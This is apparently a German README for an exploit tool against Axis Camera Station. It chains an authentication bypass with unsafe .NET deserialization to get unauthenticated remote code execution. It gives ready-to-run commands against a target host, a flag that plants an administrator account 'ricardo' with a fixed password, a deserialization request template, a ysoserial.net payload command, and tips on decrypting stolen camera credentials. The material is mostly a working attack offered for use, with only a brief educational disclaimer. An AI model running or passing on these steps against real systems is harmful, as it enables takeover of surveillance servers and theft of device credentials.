
Unauth RCE auf Axis Camera Station (ACS) durch Verkettung von CVE‑2025‑30026 (Authentifizierungsumgehung) + CVE‑2025‑30023 (unsichere Deserialisierung)
Dieser Exploit verkettet CVE‑2025‑30026 (Authentifizierungsumgehung) mit CVE‑2025‑30023 (unsichere Deserialisierung), um unauthentifizierte RCE auf der Axis Camera Station Software zu erreichen. Er umgeht den Anmeldemechanismus und liefert bösartige serialisierte Payloads, die beliebige Befehlsausführung auslösen und dem Angreifer die vollständige Kontrolle über die Zielmaschine geben.
Beide Schwachstellen betreffen Axis Camera Station Pro Versionen vor 6.9 und Axis Camera Station Versionen vor 5.58.
Er basiert auf Clarotys Blogbeitrag "Turning Camera Surveillance on its Axis", der das Protokoll und die zugehörigen Schwachstellen beschreibt.
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| Flag | Beschreibung |
|---|---|
--host | Ziel-IP/Host (erforderlich). |
--port | Zielport (Standard 55752). |
--key | Privater RSA-2048-Schlüssel des Clients im PEM-Format (erforderlich). |
--json | Lokale JSON-Datei, die die zu sendende Anfrage enthält. |
--version | VersionFacade.get_ProductVersion-Anfrage zum Abrufen von Versionsinformationen. |
--adduser | Benutzer ricardo mit Passwort ThisIsIt123 erstellen und zur Gruppe Administrators hinzufügen. |
--wait | Sekunden, die nach dem Handshake auf dem Kanal gelauscht wird (Standard 5). |
--listen | Sekunden, die nach dem Senden einer Anfrage auf die Antwort gewartet wird (Standard 15). |
Abhängigkeiten installieren und einen privaten RSA-Schlüssel im PEM-Format für den Client generieren:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
Fragen Sie die Produktversion ab, um zu prüfen, ob die Version anfällig ist:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

Nutze die Deserialisierung aus, um einen Administratorbenutzer ricardo mit dem Passwort ThisIsIt123 zu erstellen:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


Senden Sie eine benutzerdefinierte Request aus einer JSON-Datei, um einen beliebigen Befehl auszuführen:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
Request-DateiformatEin Request ist ein JSON-Objekt mit einem einzigen "Request"-Schlüssel. Das Format zum Ausnutzen der Deserialisierung ist:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
Der Wert des Feldes clientInformationDto kann mit Ysoserial.net unter Verwendung eines Gadgets wie WindowsIdentity ermittelt werden, das für die Ausnutzung dieser Schwachstelle recht stabil zu sein scheint (andere Gadgets bringen den Dienst zum Absturz):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
Sobald Sie Zugriff auf den Windows-Rechner haben, haben Sie Zugriff auf die .FDB-Datenbanken, die die Anmeldeinformationen für die Verbindung zu den verschiedenen Geräten enthalten. Diese sind mit einer schwachen AES-Implementierung verschlüsselt, die Sie sofort mit der Volume-Seriennummer des Hosts entschlüsseln oder in Minuten mit einer GPU per Brute-Force knacken können.
Sie können das Skript in diesem Repository verwenden, um dies auszunutzen: CVE-2026-63286.
AXIS Camera Station verpackt ein zustandsbehaftetes binäres Protokoll in HTTP. Statt einer Anfrage/Antwort pro Verbindung öffnet es zwei langlebige Kanäle und überträgt geframte Nachrichten über diese, bis die Verbindung geschlossen wird.
| Ebene | Detail |
|---|---|
| Transport | HTTP über Port 55752. GET /_/ öffnet den RX-Kanal (Empfang); POST /_/<channelID> ist der TX-Kanal (Senden), wobei jede Nachricht im POST-Body steht. |
| RX-Framing | HTTP-chunked-Body; darin sind Steuerframes [uint32 LE length][data]. |
| Handshake | Beide Seiten tauschen einen öffentlichen Schlüssel aus, dann einen zufälligen AES-Sitzungsschlüssel, der mit dem öffentlichen Schlüssel der anderen Seite verpackt ist. |
| Schlüsselformat | Der Client sendet sein X.509-Zertifikat (base64). Der AES-Schlüssel wird als base64(wrapped_key):base64(iv) gesendet. |
| RSA-Wrap | PKCS#1 v1.5. |
| Kanal | AES-256-CBC mit PKCS#7-Padding. Frames vom Server zum Client verwenden den Schlüssel + IV des Servers. |
| Anwendung | Axis.Remoting JSON. Der Client sendet zuerst seine ClientId als HELLO, dann {"Request":{"Id","Service","Method","Parameters"}}. |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Getestet mit den Versionen 5.57.27610 und 5.57.33556 unter Windows 11.
Deserialisierungsangriffe können den Dienst zum Absturz bringen, wenn instabile Gadgets oder ungeeignete Parameter verwendet werden. Testen Sie daher immer in kontrollierten Umgebungen.
Dieses Skript wird ausschließlich zu Bildungs- und autorisierten Testzwecken bereitgestellt... Verwendung auf eigenes Risiko!